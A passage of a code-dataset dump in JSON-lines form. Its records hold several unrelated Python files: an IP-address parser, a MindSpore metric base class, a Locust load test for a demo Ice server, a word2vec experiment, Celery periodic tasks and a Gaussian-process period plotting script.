self.ips[ipv4] += 1\n for ipv6 in IPv6Pattern.findall(data):\n ipv6 = self.strip_ipv6(ipv6)\n if self.ignore_bogon and self.is_bogon(ipv6):\n continue\n if ipv6 not in self.ips:\n self.ips[ipv6] = 0\n self.ips[ipv6] += 1\n\n @staticmethod\n def strip_ipv6(ipv6_addr):\n \"\"\"Isolate IPv6 Value containing a ``%`` symbol.\n\n Args:\n ipv6_addr (str): Raw IPv6 IP address to strip.\n\n Returns:\n (str): IP address base.\n \"\"\"\n if \"%\" in ipv6_addr:\n ip, _ = ipv6_addr.split(\"%\")\n else:\n ip = ipv6_addr\n return ip\n\n @staticmethod\n def is_bogon(ip_addr):\n \"\"\"Identifies whether an IP address is a known BOGON.\n\n Args:\n ip_addr (str): Valid IP address to check.\n\n Returns:\n (bool): Whether or not the IP is a known BOGON address.\n \"\"\"\n ip = IPAddress(ip_addr)\n return bool(\n (\n ip.is_private()\n or ip.is_link_local()\n or ip.is_reserved()\n or ip.is_multicast()\n )\n )\n", "repo_name": "chapinb/chickadee", "sub_path": "libchickadee/parsers/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "86", "api": [{"api_name": "re.compile", "line_number": 47, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 59, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 59, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 63, "usage_type": "call"}, {"api_name": "netaddr.IPAddress", "line_number": 123, "usage_type": "call"}]} +{"seq_id": "3630886127", "text": "from abc import ABCMeta, abstractmethod\nimport functools\nimport numpy as np\nfrom mindspore.common.tensor import Tensor\n\n_eval_types = {'classification', 'multilabel'}\n\n\ndef rearrange_inputs(func):\n \"\"\"\n This decorator is used to rearrange the inputs according to its `_indexes` attributes\n which is specified by the `set_indexes` method.\n\n Examples:\n >>> class RearrangeInputsExample:\n ... def __init__(self):\n ... self._indexes = None\n ...\n ... @property\n ... def indexes(self):\n ... return getattr(self, '_indexes', None)\n ...\n ... def set_indexes(self, indexes):\n ... self._indexes = indexes\n ... return self\n ...\n ... @rearrange_inputs\n ... def update(self, *inputs):\n ... return inputs\n >>>\n >>> rearrange_inputs_example = RearrangeInputsExample().set_indexes([1, 0])\n >>> outs = rearrange_inputs_example.update(5, 9)\n >>> print(outs)\n (9, 5)\n\n Args:\n func (Callable): A candidate function to be wrapped whose input will be rearranged.\n\n Returns:\n Callable, used to exchange metadata between functions.\n \"\"\"\n @functools.wraps(func)\n def wrapper(self, *inputs):\n indexes = self.indexes\n inputs = inputs if not indexes else [inputs[i] for i in indexes]\n return func(self, *inputs)\n return wrapper\n\n\nclass Metric(metaclass=ABCMeta):\n \"\"\"\n Base class of metric.\n\n Note:\n For examples of subclasses, please refer to the definition of class `MAE`, `Recall` etc.\n \"\"\"\n def __init__(self):\n self._indexes = None\n\n def _convert_data(self, data):\n \"\"\"\n Convert data type to numpy array.\n\n Args:\n data (Object): Input data.\n\n Returns:\n Ndarray, data with `np.ndarray` type.\n \"\"\"\n if isinstance(data, Tensor):\n data = data.asnumpy()\n elif isinstance(data, list):\n data = np.array(data)\n elif isinstance(data, np.ndarray):\n pass\n else:\n raise TypeError('Input data type must be tensor, list or numpy.ndarray')\n return data\n\n def _check_onehot_data(self, data):\n \"\"\"\n Whether input data are one-hot encoding.\n\n Args:\n data (numpy.array): Input data.\n\n Returns:\n bool, return true, if input data are one-hot encoding.\n \"\"\"\n if data.ndim > 1 and np.equal(data ** 2, data).all():\n shp = (data.shape[0],) + data.shape[2:]\n if np.equal(np.ones(shp), data.sum(axis=1)).all():\n return True\n return False\n\n def _binary_clf_curve(self, preds, target, sample_weights=None, pos_label=1):\n \"\"\"Calculate True Positives and False Positives per binary classification threshold.\"\"\"\n if sample_weights is not None and not isinstance(sample_weights, np.ndarray):\n sample_weights = np.array(sample_weights)\n\n if preds.ndim > target.ndim:\n preds = preds[:, 0]\n desc_score_indices = np.argsort(-preds)\n\n preds = preds[desc_score_indices]\n target = target[desc_score_indices]\n\n if sample_weights is not None:\n weight = sample_weights[desc_score_indices]\n else:\n weight = 1.\n\n distinct_value_indices = np.where(preds[1:] - preds[:-1])[0]\n threshold_idxs = np.pad(distinct_value_indices, (0, 1), constant_values=target.shape[0] - 1)\n target = np.array(target == pos_label).astype(np.int64)\n tps = np.cumsum(target * weight, axis=0)[threshold_idxs]\n\n if sample_weights is not None:\n fps = np.cumsum((1 - target) * weight, axis=0)[threshold_idxs]\n else:\n fps = 1 + threshold_idxs - tps\n\n return fps, tps, preds[threshold_idxs]\n\n @property\n def indexes(self):\n \"\"\"The `_indexes` is a private attributes, and you can retrieve it by `self.indexes`.\n \"\"\"\n return getattr(self, '_indexes', None)\n\n def set_indexes(self, indexes):\n \"\"\"\n The `_indexes` is a private attributes, and you can modify it by this function.\n This allows you to determine the order of logits and labels to be calculated in the\n inputs, specially when you call the method `update` within this metrics.\n\n Note:\n It has been applied in subclass of Metric, eg. `Accuracy`, `BleuScore`, `ConfusionMatrix`,\n `CosineSimilarity`, `MAE`, and `MSE`.\n\n Args:\n indexes (List(int)): The order of logits and labels to be rearranged.\n\n Outputs:\n :class:`Metric`, its original Class instance.\n\n Examples:\n >>> import numpy as np\n >>> from mindspore import nn, Tensor\n >>>\n >>> x = Tensor(np.array([[0.2, 0.5], [0.3, 0.1], [0.9, 0.6]]))\n >>> y = Tensor(np.array([1, 0, 1]))\n >>> y2 = Tensor(np.array([0, 0, 1]))\n >>> metric = nn.Accuracy('classification').set_indexes([0, 2])\n >>> metric.clear()\n >>> metric.update(x, y, y2)\n >>> accuracy = metric.eval()\n >>> print(accuracy)\n 0.3333333333333333\n \"\"\"\n if not isinstance(indexes, list) or not all(isinstance(i, int) for i in indexes):\n raise ValueError(\"The indexes should be a list and all its elements should be int\")\n self._indexes = indexes\n return self\n\n def __call__(self, *inputs):\n \"\"\"\n Evaluate input data once.\n\n Args:\n inputs (tuple): The first item is predict array, the second item is target array.\n\n Returns:\n Float, compute result.\n \"\"\"\n self.clear()\n self.update(*inputs)\n return self.eval()\n\n @abstractmethod\n def clear(self):\n \"\"\"\n An interface describes the behavior of clearing the internal evaluation result.\n\n Note:\n All subclasses must override this interface.\n \"\"\"\n raise NotImplementedError('Must define clear function to use this base class')\n\n @abstractmethod\n def eval(self):\n \"\"\"\n An interface describes the behavior of computing the evaluation result.\n\n Note:\n All subclasses must override this interface.\n \"\"\"\n raise NotImplementedError('Must define eval function to use this base class')\n\n @abstractmethod\n def update(self, *inputs):\n \"\"\"\n An interface describes the behavior of updating the internal evaluation result.\n\n Note:\n All subclasses must override this interface.\n\n Args:\n inputs: A variable-length input argument list.\n \"\"\"\n raise NotImplementedError('Must define update function to use this base class')\n\n\nclass EvaluationBase(Metric):\n \"\"\"\n Base class of evaluation.\n\n Note:\n Please refer to the definition of class `Accuracy`.\n\n Args:\n eval_type (str): Type of evaluation must be in {'classification', 'multilabel'}.\n\n Raises:\n TypeError: If the input type is not classification or multilabel.\n \"\"\"\n def __init__(self, eval_type):\n super(EvaluationBase, self).__init__()\n if eval_type not in _eval_types:\n raise TypeError('Type must be in {}, but got {}'.format(_eval_types, eval_type))\n self._type = eval_type\n\n def _check_shape(self, y_pred, y):\n \"\"\"\n Checks the shapes of y_pred and y.\n\n Args:\n y_pred (Tensor): Predict array.\n y (Tensor): Target array.\n \"\"\"\n if self._type == 'classification':\n if y_pred.ndim != y.ndim + 1:\n raise ValueError('Classification case, dims of y_pred equal dims of y add 1, '\n 'but got y_pred: {} dims and y: {} dims'.format(y_pred.ndim, y.ndim))\n if y.shape != (y_pred.shape[0],) + y_pred.shape[2:]:\n raise ValueError('Classification case, y_pred shape and y shape can not match. '\n 'got y_pred shape is {} and y shape is {}'.format(y_pred.shape, y.shape))\n else:\n if y_pred.ndim != y.ndim:\n raise ValueError('{} case, dims of y_pred need equal with dims of y, but got y_pred: {} '\n 'dims and y: {} dims.'.format(self._type, y_pred.ndim, y.ndim))\n if y_pred.shape != y.shape:\n raise ValueError('{} case, y_pred shape need equal with y shape, but got y_pred: {} and y: {}'.\n format(self._type, y_pred.shape, y.shape))\n\n def _check_value(self, y_pred, y):\n \"\"\"\n Checks the values of y_pred and y.\n\n Args:\n y_pred (Tensor): Predict array.\n y (Tensor): Target array.\n \"\"\"\n if self._type != 'classification' and not (np.equal(y_pred ** 2, y_pred).all() and np.equal(y ** 2, y).all()):\n raise ValueError('For multilabel case, input value must be 1 or 0.')\n\n def clear(self):\n \"\"\"\n A interface describes the behavior of clearing the internal evaluation result.\n\n Note:\n All subclasses must override this interface.\n \"\"\"\n raise NotImplementedError\n\n def update(self, *inputs):\n \"\"\"\n A interface describes the behavior of updating the internal evaluation result.\n\n Note:\n All subclasses must override this interface.\n\n Args:\n inputs: The first item is predicted array and the second item is target array.\n \"\"\"\n raise NotImplementedError\n\n def eval(self):\n \"\"\"\n A interface describes the behavior of computing the evaluation result.\n\n Note:\n All subclasses must override this interface.\n \"\"\"\n raise NotImplementedError\n", "repo_name": "lixiao-yang/LZU-MindSpore", "sub_path": "mindspore/nn/metrics/metric.py", "file_name": "metric.py", "file_ext": "py", "file_size_in_byte": 9942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "functools.wraps", "line_number": 42, "usage_type": "call"}, {"api_name": "abc.ABCMeta", "line_number": 50, "usage_type": "name"}, {"api_name": "mindspore.common.tensor.Tensor", "line_number": 70, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.equal", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.equal", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.cumsum", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 119, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 180, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 190, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 200, "usage_type": "name"}, {"api_name": "numpy.equal", "line_number": 264, "usage_type": "call"}]} +{"seq_id": "70631519963", "text": "import logging\nimport time\nfrom random import randint\nfrom functools import wraps\n\nimport demo\nimport Ice\nfrom locust import User, between, task\n\n\nclass IceClient(object):\n '''\n Simple ice client\n '''\n\n _locust_environment = None\n _server = None\n\n @property\n def host(self):\n return self.__host\n\n def __init__(self, host):\n self.__host = host\n\n communicator = Ice.initialize()\n base = communicator.stringToProxy(\n 'SimpleServer:tcp -h {} -p 8000'.format(self.host))\n self._server = demo.mathPrx.checkedCast(base)\n if not self._server:\n raise RuntimeError('Invalid ice server')\n\n def add(self, num1, num2):\n start_time = time.time()\n try:\n return self._server.add(num1, num2)\n except Exception as e:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_failure.fire(\n request_type='ice', name='add', response_time=total_time, exception=e)\n finally:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_success.fire(\n request_type='ice', name='add', response_time=total_time, response_length=0)\n\n def substract(self, num1, num2):\n start_time = time.time()\n try:\n return self._server.substract(num1, num2)\n except Exception as e:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_failure.fire(\n request_type='ice', name='substract', response_time=total_time, exception=e)\n finally:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_success.fire(\n request_type='ice', name='substract', response_time=total_time, response_length=0)\n\n def multiply(self, num1, num2):\n start_time = time.time()\n try:\n return self._server.multiply(num1, num2)\n except Exception as e:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_failure.fire(\n request_type='ice', name='multiply', response_time=total_time, exception=e)\n finally:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_success.fire(\n request_type='ice', name='multiply', response_time=total_time, response_length=0)\n\n def divide(self, num1, num2):\n start_time = time.time()\n try:\n return self._server.divide(num1, num2)\n except Exception as e:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_failure.fire(\n request_type='ice', name='divide', response_time=total_time, exception=e)\n finally:\n total_time = int((time.time() - start_time) * 1000)\n self._locust_environment.events.request_success.fire(\n request_type='ice', name='divide', response_time=total_time, response_length=0)\n\n\nclass IceUser(User):\n '''\n This is the abstract User class which should be subclassed. It provides an ice client\n that can be used to make ice requests that will be tracked in Locust's statistics.\n '''\n abstract = True\n\n def __init__(self, *args, **kwargs):\n super(IceUser, self).__init__(*args, **kwargs)\n self.client = IceClient(self.host)\n self.client._locust_environment = self.environment\n\n\nclass WebsiteUser(IceUser):\n wait_time = between(1.0, 3.0)\n\n @task(1)\n def add(self):\n self.client.add(randint(100, 200), randint(100, 200))\n\n @task(1)\n def substract(self):\n self.client.substract(randint(100, 200), randint(100, 200))\n\n @task(1)\n def multiply(self):\n self.client.multiply(randint(100, 200), randint(100, 200))\n\n @task(1)\n def divide(self):\n self.client.divide(randint(100, 200), randint(100, 200))\n", "repo_name": "guhuajun/ice-demo", "sub_path": "locust/app/locustfile.py", "file_name": "locustfile.py", "file_ext": "py", "file_size_in_byte": 4084, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "Ice.initialize", "line_number": 26, "usage_type": "call"}, {"api_name": "demo.mathPrx.checkedCast", "line_number": 29, "usage_type": "call"}, {"api_name": "demo.mathPrx", "line_number": 29, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 51, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "time.time", "line_number": 77, "usage_type": "call"}, {"api_name": "time.time", "line_number": 81, "usage_type": "call"}, {"api_name": "locust.User", "line_number": 86, "usage_type": "name"}, {"api_name": "locust.between", "line_number": 100, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 104, "usage_type": "call"}, {"api_name": "locust.task", "line_number": 102, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 108, "usage_type": "call"}, {"api_name": "locust.task", "line_number": 106, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 112, "usage_type": "call"}, {"api_name": "locust.task", "line_number": 110, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 116, "usage_type": "call"}, {"api_name": "locust.task", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "28833657693", "text": "import argparse\nimport glob\nimport os\nimport sys\n\ntry:\n sys.path.append('../')\n import numpy as np\n import text_embedding\n from text_embedding import Word2Vec\n from text_embedding import Word2VecCorpus\n from text_embedding import WordVectorInferenceDecorator\n print('Library was imported successfully')\nexcept Exception as e:\n print(e)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--corpus_path', type=str, help='text corpus', required=True)\n parser.add_argument('--wordlist_directory', type=str, help='root directory inference word lists', required=True)\n parser.add_argument('--result_directory', type=str, help='result directory', required=True)\n parser.add_argument('--size', type=int, default=300, help='embedding dimension')\n parser.add_argument('--window', type=int, default=4, help='context window size')\n parser.add_argument('--min_count', type=int, default=20, help='min count of words')\n parser.add_argument('--negative', type=int, default=10, help='number of negative samples')\n parser.add_argument('--alpha', type=float, default=0.0, help='pmi smoothing factor')\n parser.add_argument('--beta', type=float, default=0.75, help='pmi smoothing factor')\n parser.add_argument('--no-dynamic-weight', dest='dynamic_weight', action='store_false', help='no use dynamic weight')\n parser.add_argument('--no-verbose', dest='verbose', action='store_false', help='no verbose mode')\n parser.add_argument('--no-debug', dest='debug', action='store_false', help='no debug mode')\n parser.add_argument('--n_iter', type=int, default=5, help='number of iteration of svd algorithm')\n parser.add_argument('--min_cooccurrence', type=int, default=2, help='min count of cooccurrence')\n\n args = parser.parse_args()\n corphs_path = args.corpus_path\n wordlist_directory = args.wordlist_directory\n result_directory = args.result_directory\n size = args.size\n window = args.window\n min_count = args.min_count\n negative = args.negative\n alpha = args.alpha\n beta = args.beta\n dynamic_weight = args.dynamic_weight\n verbose = args.verbose\n debug = args.debug\n n_iter = args.n_iter\n min_cooccurrence = args.min_cooccurrence\n\n print('Word vector inference test (Learn from WordVectorInferenceDecorator)')\n print('debug mode is {} / verbose mode is {}'.format(debug, verbose))\n\n if not os.path.exists(result_directory):\n os.makedirs(result_directory)\n\n wordlists = glob.glob('%s/*txt' % wordlist_directory)\n print('num of inference wordset = %d' % len(wordlists))\n\n num_doc = 10000 if debug else -1\n corpus = Word2VecCorpus(corphs_path, num_doc = num_doc, sentence_separator=' ')\n\n # train full model\n word2vec = Word2Vec(corpus, size=size, window=window, min_count=min_count,\n negative=negative, alpha=alpha, beta=beta, dynamic_weight=dynamic_weight,\n verbose=verbose, n_iter=n_iter, min_cooccurrence=min_cooccurrence, prune_point=300000)\n\n save_model(word2vec, result_directory, 'full')\n\n # train infer model\n for i, path in enumerate(wordlists):\n # load test terms\n with open(path, encoding='utf-8') as f:\n wordset = {word.strip() for word in f if word.strip()}\n exp_name = path.split('/')[-1][:-4]\n # train base model\n inference_corpus = WordVectorInferenceDecorator(corpus, wordset, training=True)\n word2vec = Word2Vec(inference_corpus, size=size, window=window, min_count=min_count,\n negative=negative, alpha=alpha, beta=beta, dynamic_weight=dynamic_weight,\n verbose=verbose, n_iter=n_iter, min_cooccurrence=min_cooccurrence, prune_point=300000)\n # inference\n inference_corpus.training = False\n infered_vec = word2vec.infer_wordvec(inference_corpus, wordset, append=True)\n # save model\n save_model(word2vec, result_directory, exp_name)\n\n print('%d / %d done with %s' % (i+1, len(wordlists), exp_name))\n\ndef save_model(model, directory, header):\n model_path = '%s/%s_wv.txt' % (directory, header)\n vocab_path = '%s/%s_vocab.txt' % (directory, header)\n np.savetxt(model_path, model.wv)\n with open(vocab_path, 'w', encoding='utf-8') as f:\n for vocab in model._idx_to_vocab:\n f.write('%s\\n' % vocab)\n\nif __name__ == '__main__':\n main()", "repo_name": "lovit/text_embedding", "sub_path": "experiments/inference_test_type2.py", "file_name": "inference_test_type2.py", "file_ext": "py", "file_size_in_byte": 4356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 54, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 56, "usage_type": "call"}, {"api_name": "text_embedding.Word2VecCorpus", "line_number": 60, "usage_type": "call"}, {"api_name": "text_embedding.Word2Vec", "line_number": 63, "usage_type": "call"}, {"api_name": "text_embedding.WordVectorInferenceDecorator", "line_number": 76, "usage_type": "call"}, {"api_name": "text_embedding.Word2Vec", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "74677165725", "text": "from tangelo import log\nfrom celery import Celery\nfrom celery.task import periodic_task\nfrom datetime import timedelta\nimport os\nfrom dataService import news_api, poem_api, princetonNews_api, academic_calendar, covid_api\n\n\nREDIS_URL = os.environ.get('REDISTOGO_URL', 'redis://localhost:6379')\n\ncelery = Celery('tasks', broker=REDIS_URL)\n\n\n@periodic_task(run_every=timedelta(minutes=20))\ndef updateNews():\n log.info('Launching task for News Widget')\n news_api.updateNews()\n\n@periodic_task(run_every=timedelta(hours=1))\ndef updatePoem():\n log.info('Launching task for Poem Widget')\n poem_api.updatePoem()\n\n@periodic_task(run_every=timedelta(hours=1))\ndef updatePrincetonNews():\n log.info('Launching task for Princeton News Widget')\n princetonNews_api.updateNews()\n\n@periodic_task(run_every=timedelta(hours=1))\ndef updateAcademicCalendar():\n log.info('Launching task for Academic Calendar Widget')\n academic_calendar.updateCalendar()\n\n@periodic_task(run_every=timedelta(hours=1))\ndef updateCOVID():\n log.info('Launching task for COVID Widget')\n covid_api.updateCOVIDReport()\n", "repo_name": "zbatscha/tangelo", "sub_path": "tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 1102, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.environ.get", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "celery.Celery", "line_number": 11, "usage_type": "call"}, {"api_name": "tangelo.log.info", "line_number": 16, "usage_type": "call"}, {"api_name": "tangelo.log", "line_number": 16, "usage_type": "name"}, {"api_name": "dataService.news_api.updateNews", "line_number": 17, "usage_type": "call"}, {"api_name": "dataService.news_api", "line_number": 17, "usage_type": "name"}, {"api_name": "celery.task.periodic_task", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 14, "usage_type": "call"}, {"api_name": "tangelo.log.info", "line_number": 21, "usage_type": "call"}, {"api_name": "tangelo.log", "line_number": 21, "usage_type": "name"}, {"api_name": "dataService.poem_api.updatePoem", "line_number": 22, "usage_type": "call"}, {"api_name": "dataService.poem_api", "line_number": 22, "usage_type": "name"}, {"api_name": "celery.task.periodic_task", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "tangelo.log.info", "line_number": 26, "usage_type": "call"}, {"api_name": "tangelo.log", "line_number": 26, "usage_type": "name"}, {"api_name": "dataService.princetonNews_api.updateNews", "line_number": 27, "usage_type": "call"}, {"api_name": "dataService.princetonNews_api", "line_number": 27, "usage_type": "name"}, {"api_name": "celery.task.periodic_task", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 24, "usage_type": "call"}, {"api_name": "tangelo.log.info", "line_number": 31, "usage_type": "call"}, {"api_name": "tangelo.log", "line_number": 31, "usage_type": "name"}, {"api_name": "dataService.academic_calendar.updateCalendar", "line_number": 32, "usage_type": "call"}, {"api_name": "dataService.academic_calendar", "line_number": 32, "usage_type": "name"}, {"api_name": "celery.task.periodic_task", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 29, "usage_type": "call"}, {"api_name": "tangelo.log.info", "line_number": 36, "usage_type": "call"}, {"api_name": "tangelo.log", "line_number": 36, "usage_type": "name"}, {"api_name": "dataService.covid_api.updateCOVIDReport", "line_number": 37, "usage_type": "call"}, {"api_name": "dataService.covid_api", "line_number": 37, "usage_type": "name"}, {"api_name": "celery.task.periodic_task", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "19179936266", "text": "\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom make_acf_comparison_plot import get_bad_inds\n\n\nplotpar = {'axes.labelsize': 18,\n 'font.size': 10,\n 'legend.fontsize': 15,\n 'xtick.labelsize': 18,\n 'ytick.labelsize': 18,\n 'text.usetex': True}\nplt.rcParams.update(plotpar)\n\n\ndef plot(prior, nbins):\n \"\"\"\n Make the two GP comparison plots for the paper --- one with an ACF prior\n (prior = True) and one without (prior = False).\n params:\n ------\n prior: (bool)\n If True the ACF prior results are plotted, if False the no prior\n results are plotted.\n nbins: (int)\n The number of bins to use to find the MAP.\n \"\"\"\n\n if prior:\n RESULTS_DIR = \"results_acfprior_03_10\"\n else:\n RESULTS_DIR = \"results_noprior_02_13\"\n truths = pd.read_csv(\"final_table.txt\", delimiter=\" \")\n\n # remove differential rotators and take just the first 100\n m = truths.DELTA_OMEGA.values == 0\n truths = truths.iloc[m]\n N = truths.N.values\n\n recovered = np.zeros(len(truths.N.values))\n errp, errm = [np.zeros(len(truths.N.values)) for i in range(2)]\n lnerrp, lnerrm = [np.zeros(len(truths.N.values)) for i in range(2)]\n for i, id in enumerate(truths.N.values):\n fn = os.path.join(RESULTS_DIR, \"{}.h5\".format(id))\n if os.path.exists(fn):\n # store = pd.HDFStore(fn)\n # print(store)\n df = pd.read_hdf(fn, key=\"samples\")\n phist, bins = np.histogram(df.ln_period.values, nbins)\n ln_p = bins[phist == max(phist)][0]\n # ln_p = np.median(df.ln_period.values)\n recovered[i] = np.exp(ln_p)\n lnerrp[i] = np.percentile(df.ln_period.values, 84) - ln_p\n lnerrm[i] = ln_p - np.percentile(df.ln_period.values, 16)\n errp[i] = np.exp(lnerrp[i]/ln_p)\n errm[i] = np.exp(lnerrm[i]/ln_p)\n\n x = .5 * (truths.P_MIN.values + truths.P_MAX.values)\n amp = truths.AMP.values\n l = recovered > 0\n\n plt.clf()\n xs = np.log(np.linspace(0, 55, 100))\n plt.plot(xs, xs, \"-\", color=\".7\", lw=.8, zorder=0)\n plt.plot(xs, xs + 2./3, \"--\", color=\".7\", lw=.8, zorder=0)\n plt.plot(xs, xs - 2./3, \"--\", color=\".7\", lw=.8, zorder=0)\n\n plt.errorbar(np.log(x[l]), np.log(recovered[l]),\n yerr=[lnerrp[l], lnerrm[l]], fmt=\"k.\", zorder=1, capsize=0,\n ecolor=\".2\", alpha=.4, ms=.1, elinewidth=.8)\n plt.scatter(np.log(x[l]), np.log(recovered[l]), c=np.log(amp[l]),\n edgecolor=\".5\", cmap=\"GnBu_r\", vmin=min(np.log(amp[l])),\n vmax=max(np.log(amp[l])), s=10, zorder=2, lw=.2)\n\n # badinds, varinds = get_bad_inds(N[l])\n # plt.plot(np.log(x[l])[badinds], np.log(recovered[l])[badinds], \"ro\")\n # plt.plot(np.log(x[l])[varinds], np.log(recovered[l])[varinds], \"bo\")\n\n plt.xlim(0, 4)\n plt.ylim(-2, 6)\n\n cbar = plt.colorbar()\n cbar.ax.set_ylabel(\"$\\ln\\mathrm{(Amplitude)}$\")\n plt.xlabel(\"$\\ln(\\mathrm{Injected~Period})$\")\n plt.ylabel(\"$\\ln(\\mathrm{Recovered~Period})$\")\n plt.subplots_adjust(bottom=.15)\n if prior:\n plt.savefig(\"comparison_acfprior_02_03\")\n plt.savefig(os.path.join(FIG_DIR, \"comparison_acfprior_03_10.pdf\"))\n else:\n plt.savefig(\"comparison_noprior\")\n plt.savefig(os.path.join(FIG_DIR, \"comparison_noprior_02_13.pdf\"))\n\n plt.clf()\n resids = np.log(x[l]) - np.log(recovered[l])\n linresids = x[l] - recovered[l]\n linerrs = .5*(lnerrp[l]*recovered[l] + lnerrm[l]*recovered[l])\n plt.hist(resids, 80, histtype=\"stepfilled\", color=\"w\")\n plt.xlabel(\"$\\ln(\\mathrm{True~Period}) - \\ln(\\mathrm{GP~Period})$\")\n plt.axvline(np.percentile(resids, 16), color=\".5\", ls=\"--\")\n plt.axvline(np.percentile(resids, 84), color=\".5\", ls=\"--\")\n\n median_err = .5*(np.median(lnerrp[l]) + np.median(lnerrm[l]))\n median_err = np.median(.5*(lnerrp[l] + lnerrm[l]))\n plt.errorbar(-1, 100, xerr=median_err, fmt=\"k.\", ms=.1)\n if prior:\n plt.savefig(\"gp_hist.pdf\")\n else:\n plt.savefig(\"gp_hist_noprior.pdf\")\n\n print(len(x[l]), \"stars\")\n print(\"MAD = \", np.median(np.abs(x[l] - recovered[l])))\n print(\"MAD (log) = \", np.median(np.abs(np.log(x[l]) -\n np.log(recovered[l]))))\n print(\"MAD relative % = \", np.median((np.abs(x[l] -\n recovered[l]))/x[l])*100)\n print(\"RMS = \", (np.mean((x[l] - recovered[l])**2))**.5)\n\n errs = .5*(lnerrp[l] + lnerrm[l])\n plt.clf()\n plt.hist(errs, 100)\n if prior:\n plt.savefig(\"err_hist\")\n else:\n plt.savefig(\"err_hist_noprior\")\n\n plt.clf()\n nsigma_diff = np.abs(resids - errs)/errs\n plt.hist(nsigma_diff, 100)\n # plt.axvline(np.percentile(nsigma_diff, 66), color=\"r\", ls=\"--\")\n print(np.percentile(nsigma_diff, 50), \"= median\")\n \"50% are 1.88 sigma off. But you'd expect \"\n print(np.percentile(nsigma_diff, 66))\n print(max(nsigma_diff))\n if prior:\n plt.savefig(\"err_resid_ratio_hist\")\n else:\n plt.savefig(\"err_resid_ratio_hist_noprior\")\n\n if prior:\n plt.clf()\n print(np.std(linresids))\n plt.hist(linresids, 100)\n plt.savefig(\"resid_hist\")\n 